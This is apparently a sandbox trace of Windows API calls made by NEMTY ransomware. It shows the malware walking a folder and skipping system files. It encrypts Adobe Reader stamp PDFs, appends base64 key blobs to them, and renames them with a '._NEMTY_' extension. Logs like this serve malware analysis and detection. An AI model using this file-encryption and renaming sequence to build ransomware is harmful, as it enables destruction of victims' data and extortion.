[0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0189.870] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0189.870] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0189.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.870] Sleep (dwMilliseconds=0x5) [0189.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24d32530, dwHighDateTime=0x1d561e8)) [0189.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24d32530, dwHighDateTime=0x1d561e8)) [0189.881] GetLastError () returned 0x0 [0189.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.881] GetLastError () returned 0x0 [0189.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.881] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.881] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.881] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.881] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="yL56mh24/uPoYb1HCJiBHjzIGfl3skMojSCAC+wJMGUCj4opn7RUIKUzL4oXEX2l\r\n3U3UjUAbqTTBUNw+vJxjRGhy9LyuEyBOejIVnNKsR7hNmoQDylCW0SnNR4iZe+55\r\nEMNusOqq+mh3d3MA3M931zqpibi78SHCexMeXrOB53JobRgStx8baw92TfPZdWRP\r\nFuAgy+Gg0E+9/SVRsAAF3PxtwbUPlWq9xQsuN6PDYhbcqrMn1bzTrcoZqXpyDbQo\r\ncvPvtcmEbMRsRHM8kDq9bgV0HKWFFTeC/pWnTOdNYoMk/MPOma70gxqGwNVePBT2\r\nHw1KCvVjNfTichxW989NUA==\r\n", pcchString=0x653df5c) returned 1 [0189.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.882] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.882] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0189.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.882] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.882] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.891] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.891] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.891] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0189.891] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.891] CloseHandle (hObject=0x320) returned 1 [0189.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.892] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf._nemty_kgobjgd_")) returned 1 [0189.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.893] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26254, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.893] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0189.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0189.894] Sleep (dwMilliseconds=0x5) [0189.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24d58690, dwHighDateTime=0x1d561e8)) [0189.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24d58690, dwHighDateTime=0x1d561e8)) [0189.897] GetLastError () returned 0x0 [0189.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.897] GetLastError () returned 0x0 [0189.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.897] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.897] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.897] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0189.897] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="P0QAP5HsTM0X0QL6IBlJvLb31RVzuaOEjioaNzTtB828kbRJAHhDkK//OGY4mnU2\r\nevz5UrEehAVzAd5wV54oe7Duw5bQmQZHv1n8EY2AazxDpneMbi7p7tk63e43qUCQ\r\ncxblxZ10GbU7SmgPt4otMMuOAYlDughsFBuSg4Bj+Ufb+mko/NLbqTn7wxDDSiC3\r\nLm71T2LOYgagUp3S2IyOYd7bTtEn2lIuDrC/uv0Uerl8OJjti4b6NwSwKZn0I0YE\r\nF4TNKiMum7TcrxmWFEzHlecuMVH5AKPOH4mrznMIyBzfaDiMid4ErCPAu35HgspR\r\n81+9423HirGz6wL8c92QMQ==\r\n", pcchString=0x653df5c) returned 1 [0189.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0189.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.897] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.898] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=156244) returned 1 [0189.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.898] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.898] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.907] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.907] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.907] SetFilePointer (in: hFile=0x320, lDistanceToMove=156244, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26254 [0189.907] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.907] CloseHandle (hObject=0x320) returned 1 [0189.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0189.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.908] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 